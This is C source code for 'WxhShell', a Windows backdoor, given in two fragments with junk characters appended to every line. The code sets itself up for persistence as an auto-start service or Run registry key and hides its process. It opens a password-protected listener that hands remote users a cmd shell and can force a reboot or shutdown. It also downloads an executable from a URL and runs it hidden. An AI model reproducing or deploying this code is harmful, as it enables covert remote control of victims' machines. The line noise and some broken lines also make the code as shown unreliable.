    break; <4,hrx&.  
    } ,4$ZB(\  
  // 关机  9?c0cwP?  
  case 'd': { r )8[LN-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `I+G7K K  
    if(Boot(SHUTDOWN)) 3=w$1.B d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vZj:\geV  
    else { 'PW~4f/m  
    closesocket(wsh); (S/f!Dk&3  
    ExitThread(0); ,f0|eu>  
    } j'Ry.8}  
    break; g.yr) LHt0  
    } K3jKOV8   
  // 获取shell \6A-eWIQif  
  case 's': { + v.I|c  
    CmdShell(wsh); M\5aJ:cQ+  
    closesocket(wsh); TJS/O~=  
    ExitThread(0); yRt]i>  
    break; K=x>%6W7b  
  } |^jl^oW  
  // 退出 l);M(<  
  case 'x': { gMe)\5`\Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {E *dDv  
    CloseIt(wsh); ,Bh!|H(?L1  
    break; "~~Js~  
    } 1eue.iuQ  
  // 离开 ' b41#/-  
  case 'q': { 9W3zcL8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wc7gOrPpm  
    closesocket(wsh); L{y%\:]  
    WSACleanup(); u 0M[B7Q  
    exit(1); ~#/NpKHT@A  
    break; J})G l  
        } <SeK3@Gi  
  } =0,:w(Sb!  
  } v'`VyXetl  
)cnH %6X  
  // 提示信息 2pR+2p`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `I|$U)'  
} (V2~txMh  
  } b77Iw%x7  
&NbhQY`k  
  return; GSzb  
}  ismx evD  
E^kB|; Ki  
// shell模块句柄 0 XV8 B  
int CmdShell(SOCKET sock) ,PH;j_  
{ ~,[<R  
STARTUPINFO si; ``*iK  
ZeroMemory(&si,sizeof(si)); S<do.{|p[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1<y(8C6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y[M<x5  
PROCESS_INFORMATION ProcessInfo; 13 `Or(>U  
char cmdline[]="cmd"; AlP}H~|M7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;.$AhjqiP  
  return 0; ;hP43Bi  
} zu8   
wc?`QX}I  
// 自身启动模式 b1An2 e[  
int StartFromService(void) 'qR)f\em  
{ c*o05pMS  
typedef struct ug]WIG7 S  
{ ] %A mX-U  
  DWORD ExitStatus; ;vM&se63  
  DWORD PebBaseAddress; t[HfaW1W  
  DWORD AffinityMask; fBtTJ+51}  
  DWORD BasePriority; !S6zC >  
  ULONG UniqueProcessId; xUT]6T0dB  
  ULONG InheritedFromUniqueProcessId; hSQ*_#  
}   PROCESS_BASIC_INFORMATION; S]_iobWK  
1/b5i8I2 v  
PROCNTQSIP NtQueryInformationProcess; 9H^$cM9C  
MTm}qx@L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3>60_:+Zb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D#VUx9kugv  
u.!}s2wT#  
  HANDLE             hProcess; )anprhc  
  PROCESS_BASIC_INFORMATION pbi;  bT(}=j  
8YroEX[5l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p0c*)_a*  
  if(NULL == hInst ) return 0; SUv(MA&  
x-0O3IIE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tf1iRXf8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4:1URhE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mn`);[  
D^]g`V*N  
  if (!NtQueryInformationProcess) return 0; .|ZO2MCd  
1 Hw%DJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p7H0|>  
  if(!hProcess) return 0; Sv&_LZ-"P  
=$kSvCjP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2G=prS`s  
6ZvGD}/  
  CloseHandle(hProcess); v#/k`x\  
l1_hD ,4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {lv@V*_Y0  
if(hProcess==NULL) return 0; ]7+9>V  
L !/Zw~  
HMODULE hMod; c, IAz  
char procName[255]; @\ udaZc  
unsigned long cbNeeded; _JEe]  
10?+6*d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Whd.AaD\  
4MM /i}  
  CloseHandle(hProcess); =r1-M.*a.M  
3MqyHOOv  
if(strstr(procName,"services")) return 1; // 以服务启动 mbSG  
'!\t!@I$  
  return 0; // 注册表启动 tk]>\}%  
} r Uau? ?  
x-E@[=  
// 主模块 =}F}XSvXH  
int StartWxhshell(LPSTR lpCmdLine) d8N{sT  
{ ,,}& Q%5  
  SOCKET wsl; l~mC$>f  
BOOL val=TRUE; eMHBY6<~=  
  int port=0; $U*b;'o  
  struct sockaddr_in door; Pp{Re|.  
$p(  
  if(wscfg.ws_autoins) Install(); ~<Eu @8+_  
t=(d, kf  
port=atoi(lpCmdLine); CdZS"I  
g \;,NW^  
if(port<=0) port=wscfg.ws_port; SN#Cnu}  
o5h*sQ9  
  WSADATA data; ,8Eg/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fYgEiap  
rt8"U <~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NuEcTww  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uT#4"G9A[  
  door.sin_family = AF_INET; y=HM]EH>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %]"eN{Uvn  
  door.sin_port = htons(port); n{*A<-vL  
{JGXdp:SB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jjJvyZi~J  
closesocket(wsl); UlNx5l+k  
return 1; 7!;48\O]w  
} i]$/& /  
BV"l;&F[  
  if(listen(wsl,2) == INVALID_SOCKET) { lZ'ZL*  
closesocket(wsl); Xd 5vNmQn  
return 1; 'QOV!D  
} Z [Q jl*  
  Wxhshell(wsl); 3[*x'"Q;H  
  WSACleanup(); %(}%#-X  
)B$Uo,1  
return 0; X$A[~v  
8"=E 0(m  
} ?B{,%2+  
P*!~Z *"  
// 以NT服务方式启动 9O4\DRe5c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |s!<vvp]  
{ 16-1&WuY@  
DWORD   status = 0; !n^7&Y[N;  
  DWORD   specificError = 0xfffffff; z(dDX%k@  
Nu,t,&B   
  serviceStatus.dwServiceType     = SERVICE_WIN32; APUpqY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &iTTal.6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MhDPf]` Gg  
  serviceStatus.dwWin32ExitCode     = 0; J ]ri|a  
  serviceStatus.dwServiceSpecificExitCode = 0; $z,rN\[  
  serviceStatus.dwCheckPoint       = 0; 49!(Sa_]j  
  serviceStatus.dwWaitHint       = 0;  i|!D  
?{]"UnyVE*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yc`PK =!l  
  if (hServiceStatusHandle==0) return; $aC%&&+wG  
{36QZV*P  
status = GetLastError(); BbG=vy8'l  
  if (status!=NO_ERROR) o>^ @s4t  
{ Yu+;vjbK-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 19]O;  
    serviceStatus.dwCheckPoint       = 0; JWsOze 8#  
    serviceStatus.dwWaitHint       = 0; dUc?>#TU  
    serviceStatus.dwWin32ExitCode     = status; 3kJ7aBiR<  
    serviceStatus.dwServiceSpecificExitCode = specificError; lz:+y/+1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  __Egr@  
    return; YgLHp/  
  } GswV/V+u  
R+<M"LriR&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =<.h.n  
  serviceStatus.dwCheckPoint       = 0; WqRaD=R->;  
  serviceStatus.dwWaitHint       = 0; 5E!Wp[^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?WBA:?=$58  
} 9jJ:T$}  
AVO$R\1YR  
// 处理NT服务事件,比如:启动、停止 {C'9?4&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7<zI'^l  
{ Ksb55cp`  
switch(fdwControl) - (VX+XHW  
{ S{S.H?{F  
case SERVICE_CONTROL_STOP: 8,&pX ga  
  serviceStatus.dwWin32ExitCode = 0; 1Gp| _8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5e >qBw8t  
  serviceStatus.dwCheckPoint   = 0; 1#V&'A  
  serviceStatus.dwWaitHint     = 0; oV;I8;#\J  
  { f-5}`)`.+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yv(\5)XF  
  } '/GZ/$a_l  
  return; GmdS~Fhp  
case SERVICE_CONTROL_PAUSE: ia*Bcx_RW+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h,x'-]q  
  break; =SK{|fBB  
case SERVICE_CONTROL_CONTINUE: *kq>Z 06'i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &\5%C\0Z<  
  break; W@WKdaJ  
case SERVICE_CONTROL_INTERROGATE: P~@.(hed  
  break; Lw<%?F (  
}; 9$=o({  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -!-1X7v|Fp  
} 8C4v  
Stk'|-z  
// 标准应用程序主函数 zuYz"-(L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aMO+ y91Y(  
{ - -ZSl  
%&&;06GU}  
// 获取操作系统版本 `y*o -St3  
OsIsNt=GetOsVer(); ZJ'FZ8Sx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uq=!>C8  
8?[#\KgH1  
  // 从命令行安装 6B&ERdoX  
  if(strpbrk(lpCmdLine,"iI")) Install(); kWxcB7)uk  
%R-KkK<S  
  // 下载执行文件 de q L  
if(wscfg.ws_downexe) { p77  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q/3 )yG6s  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Aoo\fN_U  
} Ji;R{tZ.R  
vFH1hm  
if(!OsIsNt) { P3+?gW'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qe4"a*l-r  
HideProc(); dL|*#e  
StartWxhshell(lpCmdLine); f1RX`rXf  
} 4L/8Hj#g  
else (E<QA  
  if(StartFromService()) /u pDbP.O  
  // 以服务方式启动 3sz?49tX  
  StartServiceCtrlDispatcher(DispatchTable);  &DX  
else i4\m/&of3y  
  // 普通方式启动 }x+s5a;!3/  
  StartWxhshell(lpCmdLine); x>MY_?a  
]7 2wv#-  
return 0; hC2_Yr>N%  
} 0RkiD8U5  
=Y<RG"]a&J  
nhI1`l&  
7gP8K`w?[  
=========================================== t(\P8J  
~,O}wT6q  
t'DYT"3  
rRd8W}B  
"Rq)%o$Z  
hG qZB  
" tN&_f==e  
&?#!%Ds  
#include <stdio.h> Fa9gr/.F,@  
#include <string.h> |<w Z;d  
#include <windows.h> 4<l&cP  
#include <winsock2.h> tjt#2i8/  
#include <winsvc.h> {aYCrk1  
#include <urlmon.h> /+{1;}AT  
O K2|/y  
#pragma comment (lib, "Ws2_32.lib") K91.-k3)$  
#pragma comment (lib, "urlmon.lib") >n6yKcjY]  
WG(%Pkowv  
#define MAX_USER   100 // 最大客户端连接数 u{(-`Al}L  
#define BUF_SOCK   200 // sock buffer G&v. cF#Y'  
#define KEY_BUFF   255 // 输入 buffer VQ'DNv| 9  
h$I 2T  
#define REBOOT     0   // 重启 707-iLkt.1  
#define SHUTDOWN   1   // 关机 jjU("b=  
NiO|Aki{  
#define DEF_PORT   5000 // 监听端口 ^laf!kIP  
4KT-U6zNx  
#define REG_LEN     16   // 注册表键长度 UWW_[dJr   
#define SVC_LEN     80   // NT服务名长度 hwB>@r2  
0Lki (  
// 从dll定义API Wz-7oP%;I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'qnnZE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -40OS=wpA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -8D$[@y(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z!/ MBM  
iVqa0Gl+}  
// wxhshell配置信息 P4.snRQ  
struct WSCFG { O/bpm-h`8c  
  int ws_port;         // 监听端口 K!onV3mR  
  char ws_passstr[REG_LEN]; // 口令 h;`]rK;g  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZX03FJL7u  
  char ws_regname[REG_LEN]; // 注册表键名 }5a$Ka-  
  char ws_svcname[REG_LEN]; // 服务名 6/&aBE=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `6 `oLu\l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 |Y'@&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;O Y*`(Id  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N77EM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [m{uJ dj\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kKil] L  
" H; i Av  
}; r4(Cb_  
ju%t'u\'  
// default Wxhshell configuration P},d`4Ty@  
struct WSCFG wscfg={DEF_PORT, !>gu#Q{\-  
    "xuhuanlingzhe", Mg}8 3kS  
    1, ? bnhx  
    "Wxhshell", 4.}J'3 .  
    "Wxhshell", z 8\;XR  
            "WxhShell Service", Ss c3uo0  
    "Wrsky Windows CmdShell Service", 2$%E:J+2:$  
    "Please Input Your Password: ", @N,I}_9-  
  1, okv`v ({  
  "http://www.wrsky.com/wxhshell.exe", Fu6~8uDV{{  
  "Wxhshell.exe" CxW-lU3G`  
    }; 7d"gRM;  
>djTJ>dl_u  
// 消息定义模块 Rr3<ln  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k| Ye[GM*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SB\T iH/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %?~`'vYoi  
char *msg_ws_ext="\n\rExit."; {'R\C5 :D7  
char *msg_ws_end="\n\rQuit."; OJ Y_u[  
char *msg_ws_boot="\n\rReboot..."; 2E d  
char *msg_ws_poff="\n\rShutdown..."; X__>r ?oJ  
char *msg_ws_down="\n\rSave to "; + ZxG<1&  
AB1,G|L  
char *msg_ws_err="\n\rErr!"; 1} h''p  
char *msg_ws_ok="\n\rOK!"; XI*cu\7sy  
f0,,<ib.w  
char ExeFile[MAX_PATH]; @Nk]f  
int nUser = 0; #pm0T1+jW  
HANDLE handles[MAX_USER]; FZW:dsm  
int OsIsNt; Lp}>WCams  
&*r'Sx )V  
SERVICE_STATUS       serviceStatus; b&~s}IX   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u"*Wo'3I|  
XexslzI  
// 函数声明 PK7 kpC  
int Install(void); %.3] F2_Q  
int Uninstall(void); IoI ,IX]i)  
int DownloadFile(char *sURL, SOCKET wsh); c _faW  
int Boot(int flag); "Ooc;xD3<  
void HideProc(void); (aa}0r5  
int GetOsVer(void); Wu9))Ir  
int Wxhshell(SOCKET wsl); 3Az7urIY  
void TalkWithClient(void *cs); !1s^TB>N  
int CmdShell(SOCKET sock); _Bhm\|t  
int StartFromService(void); 5,n{-V  
int StartWxhshell(LPSTR lpCmdLine); m:A1wL4c6  
hB:}0@l6p=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9V5d=^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K)d]3V!  
U`h>[9  
// 数据结构和表定义 b08s610fk  
SERVICE_TABLE_ENTRY DispatchTable[] = x!@P|c1nKC  
{ )^'g2gVK+p  
{wscfg.ws_svcname, NTServiceMain}, Z(=U ZI?  
{NULL, NULL} t@1 bu$y  
}; zjVQ\L  
!04zWYHo  
// 自我安装 yDdi+  
int Install(void) E6FT*}Q  
{ mtQlm5l  
  char svExeFile[MAX_PATH]; ejuw+@ _  
  HKEY key; k_}aiHdG  
  strcpy(svExeFile,ExeFile); Im*~6[  
%]15=7#'y  
// 如果是win9x系统,修改注册表设为自启动 5/>W(,5}  
if(!OsIsNt) { PF4"J^V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *tD`X( K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (T]<  
  RegCloseKey(key); LAT%k2%Wx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?rYt:Uf!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8w|-7$ v  
  RegCloseKey(key); c ii]-%J}c  
  return 0; M XX:i  
    } klKd !  
  } (,5,}  
} QIg.r \>o  
else { n2#Yw}7^,o  
DfJHH)Ry}  
// 如果是NT以上系统,安装为系统服务 RXF%A5FXh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _,m|gr ,S  
if (schSCManager!=0) XA*sBf  
{ #~Z55 D_  
  SC_HANDLE schService = CreateService _Ka6! 9  
  ( D'! v9}  
  schSCManager, v>&sb3I  
  wscfg.ws_svcname, m.K@g1G  
  wscfg.ws_svcdisp, ^XIVWf#`H  
  SERVICE_ALL_ACCESS, ;=?f0z<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?B!=DC@?H  
  SERVICE_AUTO_START, Zoi\r  
  SERVICE_ERROR_NORMAL, l1h;ng6  
  svExeFile, s^n}m#T  
  NULL, k]<E1 c/  
  NULL, .9Y,N&V<H  
  NULL, M#PutrH  
  NULL, UJWkG^?  
  NULL 8.'[>VzBL  
  ); q|23l1 PI  
  if (schService!=0) v,] &[`  
  { c-ahe;q  
  CloseServiceHandle(schService); 3i c6!T#t"  
  CloseServiceHandle(schSCManager); EGKj1_ml  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aj71oki)  
  strcat(svExeFile,wscfg.ws_svcname); wf= s-C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^^-uq)A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W_ =  
  RegCloseKey(key); WjrUns  
  return 0; CfWtCA  
    } %bp8VR sY  
  } mimJ_=]DC  
  CloseServiceHandle(schSCManager); 0xe!tA  
} tL;!!vg#V  
} 79?%g=#=  
EMV<PshW=  
return 1; w!=Fi  
} u6,NQ^4  
I,:R~^qJ8v  
// 自我卸载 @DYxDap{  
int Uninstall(void) EPZ^I)  
{ FccT@ ,.F  
  HKEY key; .K n)sD1  
D]s8w  
if(!OsIsNt) { x'.OLXx>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p..O;_U  
  RegDeleteValue(key,wscfg.ws_regname); z  DP  
  RegCloseKey(key); .)zX<~,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wxi|(}  
  RegDeleteValue(key,wscfg.ws_regname); )tRqt9Th*  
  RegCloseKey(key); sU/R$Nbr  
  return 0; |Mm9QF;iA  
  } H</Mh*Fl2G  
} 99\;jz7  
} ?ep'R&NV  
else { A@W/  
/ox9m7Fz7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U%7| iK  
if (schSCManager!=0) b~1]}9TJ  
{ }nQni?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (L{Kg U&{$  
  if (schService!=0) &7{/ x~S{  
  { U8T"ABvFP  
  if(DeleteService(schService)!=0) {  b* QRd  
  CloseServiceHandle(schService); /%#LA  
  CloseServiceHandle(schSCManager); QEavbh^S  
  return 0; @-~ )M_  
  } ?3{R'Buv]  
  CloseServiceHandle(schService); D};zPf@!p  
  } q]-CTx$  
  CloseServiceHandle(schSCManager); j#C1+Us  
} b&y"[1`  
} d"1DE  
4@qKML  
return 1; C;T:'Uws  
} ?9_RI(a.}  
># q2KXh  
// 从指定url下载文件 `+4>NT6cu9  
int DownloadFile(char *sURL, SOCKET wsh) R3G+tE/Y  
{ Q}a,+*N.  
  HRESULT hr; @wy&Z  
char seps[]= "/"; -7^A_!.  
char *token; :%!}%fkxH  
char *file; jAa{;p"jU  
char myURL[MAX_PATH]; 5&y;r  
char myFILE[MAX_PATH]; \,w*K'B_Y  
U%Kv}s/(F{  
strcpy(myURL,sURL); 5kK:1hH7  
  token=strtok(myURL,seps); gbf-3KSp^  
  while(token!=NULL) Mp V3.  
  { %7X<:f|N8x  
    file=token; ?y] q\>  
  token=strtok(NULL,seps); 62R9 4  
  } {M7`z,,[  
JH%^FF2  
GetCurrentDirectory(MAX_PATH,myFILE); m#D+Yh/y{n  
strcat(myFILE, "\\"); -`iXAyr)m  
strcat(myFILE, file); Y7vTseq  
  send(wsh,myFILE,strlen(myFILE),0); an4^(SY  
send(wsh,"...",3,0); ,~R`@5+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BVKr 2v  
  if(hr==S_OK) pzo9?/-  
return 0; >y2;sJ4]D%  
else wH=L+bA>a  
return 1; uB(16|W>S  
o)X(;o  
} arCi$:-z@  
!J5k?J&{=  
// 系统电源模块 X#qm wcF  
int Boot(int flag) J3]W2m2Zw  
{ ECO4ut.d  
  HANDLE hToken; F/"Q0%(m  
  TOKEN_PRIVILEGES tkp; "Ih>>|r  
>q'xW=Y j\  
  if(OsIsNt) { 3f u*{8.XZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^J?ExMu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hmA$gR_  
    tkp.PrivilegeCount = 1; +<G |Ru-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p19[qy~.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @>wD`<U|  
if(flag==REBOOT) { j|`6[93MG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @R5jUPUVV  
  return 0; kWF/SsE  
} *^BW[C/CTR  
else { }!5x1F!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B!`Dj,_  
  return 0; P87!+pB(  
} W\'njN  
  } X{n7)kgL  
  else { DcNQ2Zz?%  
if(flag==REBOOT) { c+6/@y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WjyuaAWY  
  return 0; E%eTjvvxus  
} dQ6n[$Q@N  
else { jWn!96NhlL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SIJ:[=5!7  
  return 0; 6.o8vC/PZ  
} &GF|Rr8NXs  
} bIFKP  
l7 +#gPA  
return 1; Di[}y;  
} ZZkxEq+D  
bYuQ"K A$  
// win9x进程隐藏模块 0_}^IiG  
void HideProc(void) wq[\Fb`  
{ [0_JS2KE  
2Xu?/yd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &1O!guq%  
  if ( hKernel != NULL ) 9Tgl/}q)  
  { [m9Pt]j@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]L'FYOfrpx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U({20  
    FreeLibrary(hKernel); hEO#uAR^Z  
  } 4H7 3a5f  
9;Z2.P"w  
return; dXkgWLI~  
} "4VC:"$f  
'bH',X8gF  
// 获取操作系统版本 M*DFtp<  
int GetOsVer(void) xwjim7# _:  
{ k,EI+lCX  
  OSVERSIONINFO winfo; A)5-w`1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3Y\7+975m  
  GetVersionEx(&winfo); hjuzVOE|W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _%HpB=  
  return 1; r52X}Y  
  else '~dE0ohWb  
  return 0; K3eYeXV  
} MA:2]l3e  
Hpo/CY/  
// 客户端句柄模块 0-)D`s%  
int Wxhshell(SOCKET wsl) 87/!u]q  
{ 9n$0OH /q  
  SOCKET wsh; A),nkw0X  
  struct sockaddr_in client; so* lV  
  DWORD myID; GZL{~7n  
J`6X6YZ  
  while(nUser<MAX_USER) ~~U2Sr  
{ ~, hPi  
  int nSize=sizeof(client); 0D;MW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $rB20!  
  if(wsh==INVALID_SOCKET) return 1; -1tdyCez  
OD,"8JF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |!r.p_Zt  
if(handles[nUser]==0) cJEO wAN  
  closesocket(wsh); TBfX1v|Z)  
else O"otzla  
  nUser++; 5K1WfdBX7)  
  } X(D$eV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !i0jk,[B=  
m oQ><>/  
  return 0; ZE#f{qF(  
} j@1rVOmK  
d^"dL" Q6m  
// 关闭 socket #!Iez vWf  
void CloseIt(SOCKET wsh) _Qy3A T~  
{ =AFTB<7-^  
closesocket(wsh); +/A`\9QT  
nUser--; E"ju<q/Q  
ExitThread(0); < bHu9D  
} < V?CM(1C  
B]PTe~n^  
// 客户端请求句柄 H'Mc]zw_,  
void TalkWithClient(void *cs) 0> pOP  
{ B,sv! p+q5  
5xZ*U  
  SOCKET wsh=(SOCKET)cs; ^ <Z^3c>/  
  char pwd[SVC_LEN]; FzOr#(^  
  char cmd[KEY_BUFF]; cD-.thHO  
char chr[1]; ` [ EzU+  
int i,j; njk.$]M|nf  
zE{@'  
  while (nUser < MAX_USER) { \NYtxGV[Z  
P# o/S4  
if(wscfg.ws_passstr) { !Jo3>!,j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dzY B0vut@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 39;Z+s";  
  //ZeroMemory(pwd,KEY_BUFF); =*q|568  
      i=0; lVywc:X  
  while(i<SVC_LEN) { R jO9E.nm  
I0 y+,~\  
  // 设置超时 =<-tD<  
  fd_set FdRead; @=[/bG  
  struct timeval TimeOut; Z+!3m.q  
  FD_ZERO(&FdRead); aqvt$u8  
  FD_SET(wsh,&FdRead); 0B(<I?a/  
  TimeOut.tv_sec=8; tuA,t  
  TimeOut.tv_usec=0; *_<P% J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lc>9[! +#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WA-` *m$v  
m`<Mzk.u<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RUTlwTdv  
  pwd=chr[0]; h+mM  
  if(chr[0]==0xd || chr[0]==0xa) { t#+X*'/  
  pwd=0; R5LzqT,/N:  
  break; 0\t k/<w2  
  } #C?T  
  i++; |H67ny&K^&  
    } [Rh[Z# 6  
2e}${NZN  
  // 如果是非法用户,关闭 socket 9I>+Q&   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q]_3 #_'  
} zr9o  
V/Hjd`n)`i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'hl>pso.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .BsZ.!MPL(  
eTI<WFRc_  
while(1) { [@ ]f@Wd  
_A*5BAB:h(  
  ZeroMemory(cmd,KEY_BUFF); jB]tq2i  
EG5'kYw2  
      // 自动支持客户端 telnet标准   $'3`$   
  j=0; +zxj-di M  
  while(j<KEY_BUFF) { LOyL:~$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xq:.|{HUk  
  cmd[j]=chr[0]; <dx xXzLT  
  if(chr[0]==0xa || chr[0]==0xd) { _//)|.6c3  
  cmd[j]=0; bWv4'Y!p  
  break; =z'w-ARy  
  } DSY:aD!  
  j++; U^4 /rbQ  
    } mj0{Nd  
N9r}nqCN  
  // 下载文件 :+ef|,:`/  
  if(strstr(cmd,"http://")) { QRnkj]b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~je#gVoUR  
